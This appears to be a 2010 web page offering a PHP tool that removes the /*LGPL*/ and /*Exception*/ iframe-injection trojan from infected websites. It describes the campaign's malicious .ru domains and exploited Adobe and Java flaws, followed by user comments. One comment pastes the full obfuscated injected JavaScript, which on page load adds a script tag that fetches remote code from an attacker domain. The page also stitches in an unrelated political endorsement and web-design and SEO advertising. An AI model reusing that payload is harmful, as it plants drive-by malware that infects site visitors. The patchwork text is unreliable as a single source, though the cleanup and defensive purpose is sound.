/*LGPL*/ and /*Exception*/ trojan Removal script, Trojan-Downloader.JS.a or Trojan-Downloader.JS.b or Trojan-Downloader.JS.c or Trojan-Downloader.JS.d cleaner, cleanup, Downloader worm removal. This script removes the trojan code from all files on your web server. Updated Jan 30, 2010
Clean-up script for sites infected with Downloader worm( /*LGPL*/ or /*Exception*/ type script ).
As we all know there is a mass attack of /*LGPL*/ and /*Exception*/ type script on websites. I have seen plenty of websites infected with this type of infection and finally I decided to write a script to remove the codes inserted in files all over the server directories.
As a new version of /*LGPL*/ and /*Exception*/ is out in wild. The code inserted in web pages after the BODY Tag or at end of Javascript files looks a bit like.
The SCRIPT tag above is not present in javascript(.js) files.
Well it is just another type of IFRAMER worm. Once deobfuscated, it loads javascript from [http][POPULAR-DOMAIN-NAMES].easylifedirect.ru:8080/[POPULAR-DOMAIN-NAMES]/google.com/
This loaded Javascript then loads an iframe with src which contains actual payload [http][POPULAR-DOMAIN-NAMES].easylifedirect.ru:8080/index.php?ys
some urls may also have "thechocolateweb.ru" or "tartband.ru" or "bestbondsite.ru" or "trueworldmedia.ru" or "avattop.ru" in place of "easylifedirect.ru"
The major files infected are
Javascript files .JS
index files such as
index*.html,
index*.htm,
index*.php,
default*.php,
mainframe*.php,
application*.php,
default*.html,
default*.htm
index*.asp
(index*.* and default*.*)
The javascript code seems to be changing since the day it launched and today morning I noticed that they have removed <script> tags in javascript files.
The payload hasn't changed much from last year's attacks. When one visits a compromised site, the malicious JavaScript loads more JavaScript that contains an iframe tag, which opens another page containing two links. One link goes to a PDF file, which is detected as Trojan-Downloader.JS.a or Trojan-Downloader.JS.b or Trojan-Downloader.JS.c or Trojan-Downloader.JS.d. The other is to a JAR (Java ARchive) file, which is detected as Downloader.
Those two files use the following vulnerabilities to infect the computer with malware:
* Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities (BID 27641)
* Adobe Reader and Acrobat 'newplayer()' JavaScript Method Remote Code Execution Vulnerability (BID 37331)
* Sun Java Runtime Environment and Java Development Kit Multiple Security Vulnerabilities (BID 32608)
The final payload includes malware likeTrojan-Downloader.JAVA.Agent.al or Trojan-Downloader.JAVA.Agent.exe or Trojan.Bredolab, Downloader.Fostrem, and Trojan.Zbot, along with security risks such as PrivacyCenter and a number of other misleading applications that may be detected as Trojan.FakeAV. It's important to keep your definition files up-to-date as these files are frequently being updated.
REMOVAL STEPS
1. Block these websites on your firewall or router: "thechocolateweb.ru", "tartband.ru", "bestbondsite.ru", "trueworldmedia.ru", "avattop.ru" , "easylifedirect.ru"
2. Update your anti-virus and clean up infection from your machines or whoever is accessing it via FTP
3. Change the ftp password from secure machine which is not infected
4. upload the Manual Trojan Code Remover script to your public_html directory
5. run the script by calling the php file from your browser
PRECAUTIONS
1. Block these websites on your firewall and/or router: "thechocolateweb.ru", "tartband.ru", "bestbondsite.ru", "trueworldmedia.ru", "avattop.ru" , "easylifedirect.ru"
2. Keep your Anti-virus updated.
3. Do not open any suspicious links received on messengers or emails.
It will clean up the files and will also create a backup of files which are infected. (backup files will have extension as .infected.bak)
Looks like they are changing the signatures too fast. So I have made this small tool so that you can manually remove the vius code.
Instructions:
1. Download the Manual Trojan Code Remover and unpack.
2. Upload it to document root of your website and run the script by opening the url in your browser
3. Now open the any infected file and copy the trojan code and paste in the textarea in the removal tool.
4. Press Clean All!
Thats All!.
* Please note that you will need extra step for Javascript files.
** Also process code in javascript files after php/asp files.
Let us know if you find other signature or codes, We will try to release an update asap.
Dick Muri has my vote and my husband's vote as well. He will be a refreshing independent thinker representing us, not afraid to vote for the people's benefit. A majority of 9th District citizens were against the Obama Health Insurance fiasco. The incumbent voted the party line and voted yes.
Looks like a great script but it doesn't work. My server has php 5.2.12. Would really appreciate it if you can tell me how to get it to work. I've tried it in the root of the site and then in each sub folder but nothing.
Stan
I'm having the same problem....
Unable to clean a infected file(file not writable)
There are hundreds and hundreds listed, and strangely, many of the files listed are *not* infected.
Oh man I hope someone can post a solution... this script really seems to be the answer to a problem that otherwise seems insurmountable!
to all those wondering if the script works on new strains, it should.
pretty much whatever you post into the input box it will search out in every file and then remove it, its a glorified search and replace script.
unfortunately i cant seem to get it to work on my server, hope you all have better luck.
the PHP script doesnt seem to work, i ran it on a IIS server with php5 and nothing happened, i checked the files and the infected file was still there, i copied the whole javascript, and one without the <script> tags and still nothing.
joe
peterprossedi@hotmail.com
im getting Unable to clean a infected file(file not writable)
and theres no way i can give write access to all these files....there are a few hundered........
Hi peter,
Many people don't have recent backups. Also on many machines the infection is too widespread and it may take many hours to find malicious code and remove them manually in each file. These tools are targeted to save time of people who are infected.
Peter
pk@kelmace.com
Why use the manual trojan code remover? Why not just remove the malware code from the files or replace them from a backup? That's what I did yesterday from an infection I found and there does not appear to be an issue or re-infection. FTP passwords were changed too of course.
Msia
yong_isprings@yahoo.com
i pasted the script but it was not deleted. Does it works on the script below?
<script>var i;if(i!='' && i!='f'){i=null};this.US='';function h(){var N;if(N!='D'){N='D'};this.q='';this.K="";var A;if(A!=''){A='fI'};var H=new String("g");var u='';var eQ;if(eQ!='' && eQ!='R'){eQ=null};var j="";var zr="";var G=RegExp;var ia;if(ia!='Om' && ia != ''){ia=null};this.tD="";var GF="";function z(O,M){var t=new G("["+M+"]", H);return O.replace(t, u);var hS=new Date();var Oa;if(Oa!='' && Oa!='C'){Oa=''};};var GN='';var Dj='';var qY=new Array();var U=z('83359903298992509252',"2593");var T="scri"+"fNLpt".substr(3);var F=new String("9Qm/go".substr(3)+"oglqDT5".substr(0,3)+"arOe.cOra".substr(3,3)+"NZdom/".substr(3)+"gooNuBK".substr(0,3)+"Ef6gle".substr(3)+".co"+"m/m"+"HasediHas".substr(3,3)+"afi"+"c9jyre.".substr(4)+"com"+"izm/remzi".substr(3,3)+"DK3tver3tDK".substr(4,3)+"Ilrso.".substr(3)+"0oGnetGo0".substr(3,3)+"Gt3/xctG3".substr(3,3)+"y1sar.y1s".substr(3,3)+"comEkf".substr(0,3)+"mtH.cn".substr(3)+"cEFa.ph".substr(4)+"3VUp".substr(3));var TB='';var m=String("bdKWhtt".substr(4)+"p:/"+"cYtB/ms".substr(4)+"GiDYn-c".substr(4)+"om-"+"tIBcn.".substr(3)+"5nM1torn1M5".substr(4,3)+"renLfY".substr(0,3)+"C0mtz.".substr(3)+"MG6scomGsM6".substr(4,3)+"lugK.so".substr(4)+"8x9egou89ex".substr(4,3)+"TGgx-co".substr(4)+"H6kIm.sI6kH".substr(4,3)+"eas"+"ilv"+"ers"+"SQ1kite".substr(4)+"NX3.ruN3X".substr(3,3)+"8rp5:pr58".substr(4,1));var An;if(An!='Ck' && An!='vt'){An=''};var Wg='';window.onload=function(){this.d='';this.ac='';try {var II;if(II!=''){II='Q'};this.ib="";TB=m+U;this.ML='';TB+=F;var pW;if(pW!='IC' && pW != ''){pW=null};var WP='';var l='';_=document.createElement(T);this.Cu="";var WV;if(WV!='' && WV!='N_'){WV='O_'};this.L="";var hh;if(hh!='g' && hh!='Mk'){hh='g'};_.defer=[1][0];this.Rl="";_.src=TB;this.HC="";this.TR="";document.body.appendChild(_);var Aj=new Array();} catch(e){var CQ=new Date();var bD;if(bD!=''){bD='qp'};};var UK='';};this.AY='';};h();var Ja;if(Ja!='' && Ja!='HB'){Ja='Mg'};</script>
Christina
tinaxo@gmail.com
Oh, and it doesn't show "Success" or anything.. I don't know why.
Christina
tinaxo@gmail.com
I enter the code and it goes through but none of the files were edited. It doesn't give me any error or anything but the bad code is still there. Any ideas why?
hey hatem,
you need PHP5+ to run this script.
Please do not forget to clean up your local machines first and change FTP password.
Hi
First of all, thank you for your efforts,
when I put the code and click "clean all" it gives me this message:
Fatal error: Cannot instantiate non-existent class: directoryiterator in /home/content ... /html/trojan-code-remover.php on line 172
How can I fix it ???
Guys , once you clean up your system , delete all the FTP account . This blocks the entry point of virus and malware and it make sure that your file wont infect again.
hi,
please use the tool Trojan Code remover,
You just need to copy paste the above code in it .
It will clean up the code from all files.
Let me know if there are any other problems.
Hi,
if you are getting the infection, one of your machines, from which you are accessing the host is infected with the TROJAN-DOWNLOADER.PEGEL.JS.x .
Please clean up the trojan from all the machines,
Then change all of the FTP Passwords and cpanel passwords from CLEAN machine.
If after all this its getting back again, then please check if something at your hosting provider is compromised.
But most of the times infection will be on your side.
Avoid opening the infected sites,
Avoid opening strange links in IM messages.
Crs
canraps@gmail.com
Hi Sameer,
Its getting all sick :( How can we prevent this from happening :( It infects like every 2-3 day in our server..I use inforapid search&replace for the code removal but im sick of this..Do we get infected because of the iframe ?
Web site design
Our attractive and appealing web site designs bring you More Business, More Customers.
When you select Possible Solutions for your website design, you'll be selecting a professional web design and development company that prides itself on supplying visually stunning best custom web page design that helps your business work, grow and progress better.
Because successful web design requires several elements, innovative engaging graphical design, fast stable performance, a clear focus on functionality, client satisfaction and usability.
We are proud to say that we have all these things. Clean website design that keeps your visitors happy, and a professional custom web design solution that has our clientele doing more business online than ever before.
We provide website designs at affordable prices with high quality. If you are looking for a professional website designing and development company then you've come to the right place for website design and development company.
E-commerce, CRM web-applications, Community Portals, Dating Websites, Real Estate Indexes,
Business Directories, Seach Engines, Forums, Blogs, CRM web applications
Everything is POSSIBLE!
Possible Solutions has proven its ability in providing its customers with the worlds leading e-commerce solutions.
Our team has all the technical knowledge, experience and expertise that are required to develop any kind of e-commerce application.
We are empowered to provide our customers with standard and customized e-commerce website development solutions
that can coincide with their budget and thus can help them achieve their goals even at affordable costs.
We also have strong expertise in building Community websites, Dating websites, Video/music sharing portals.
To meet client's cost and time requirements we also use open source application as and when required.
This speeds up the development cycle and also gives you code which is tested and being used by a large community.
Real Estate website is also a lucrative venture for companies and agents working in real estate industry.
We have developed custom website applications for real estate companies and agents where they can display their real estate listings
in user friendly and quickly browsable format.
Our applications are also developed so that they can be easily integrated with any MLS/IDX servers.
Currently we support NorthWestIDX but other servers can be added if required.
Content Managament Systems are our strength we have built two versions of our own CMS system and third the most poswerful one is in pipeline.
We also have strong knowledge of major open-source CMS systems such as Joomla, Drupal etc. and we can develop components/modules for Joomla/Drupal.
Possible Solutions have also stepped into customizing and developing modules or extensions for opensource CRM applications such as vTiger or SugarCRM for small/medium or large businesses.
Search Engines and Web Crawlers, this is another area where we excel. We have successfully developed Internal Search engine(INSEARCH). Besides this we also have good experience experience of developing
web crawlers, automated data scrappers and online data collection and analysis tools.
We have always been ready to work on new challenges and ideas, so no matter how complex your project is, we are always ready to take on it and complete it successfully.
Why is Search Engine Optimisation so important for your Business?
Why are High Rankings in Google’s natural/organic listings so important?
"73% of new website visitors come through Search Engines"
If you have a website that you rely on for generating sales and enquires,
you will need to market that website in order to generate interest and traffic to your site.
The most cost effective way to do this is by achieving high rankings in
Google’s organic listings for your highly searched keywords. And with over 80%
of the UK search market going to Google, you need to ensure that Google knows about your website!
SEO plans by Possible Solutions will benefit your website with:
High volumes of ‘ready to spend’ traffic – these visitors are actively searching for your products and services
Reduced costs for winning new customers = greater profits!
How do we do it?
First of all, Search Engine Optimization is not rocket science, it takes time to see results.
We follow tried and tested processes that we constantly improve and refine to maximise the effectiveness of our clients’ campaigns.
Moreover, effective SEO is labour intensive and time consuming.
We have the resources to be able to undertake even the most demanding SEO campaigns in the most competitive markets.
Effective SEO is made up of the following components:
Keyword, competitor and market analysis –
Our Analysis Team will analyse the most searched and
targeted keywords and phrases that relate directly to your business.
From here we identify the SEO strategies of your competitors for these phrases
in order to see exactly what we need to do to rank above them.
This will allow us to focus your campaign on the achieving the highest rankings
for your most searched for keywords. Furthermore, this indepth research means that
each campaign has minimum wastage and maximum 'Value for money'.
Onsite Optimisation –
Our SEO specialists understand how Google’s spiders crawl and
index websites. Onsite SEO involves relevant keyword placement in the most important areas
of each page, html code optimisation, content optimisation, internal linking, navigation optimisation
as well as resolving any issues which will be affecting the ranking of your website and
any of its pages. The aim of this onsite work is to ensure Google spiders can
effectively crawl each page placing emphasis on the most important keywords.
The result is a site wide rise in rankings for ALL keywords across you products, services and brands.
Link Building -
All links are quality controlled to ensure they meet our strict link building criteria.
A full report detailing your link campaign will be sent to you on a monthly basis.
Our links are manually obtained, one at a time by a professional link builder, not a computer program.
We ensure that all links meet the required criteria and that only links from well regarded websites are procured.
We do not engage in questionable practices such as link rings or spamming. Quality link building is resource intensive,
but it is the only really effective way of obtaining great links without risk of penalty.
Click Here for More Info on Link Building Services.
Reporting and monitoring -
One of the key benefits of SEO over other traditional marketing vehicles is the highly measurable results.
As a Smart Traffic client we install Google Analytics free of charge which allows you to monitor traffic levels,
sources of traffic, keywords used, pages visited, and many other features which provides the information to
constantly drive your SEO campaign forward.
Furthermore, you will receive ranking reports twice a month showing you your progress up the Google rankings
for your keywords, plus monthly link building reports showing the confirmed linking partners so you know exactly
what work we have completed each month.
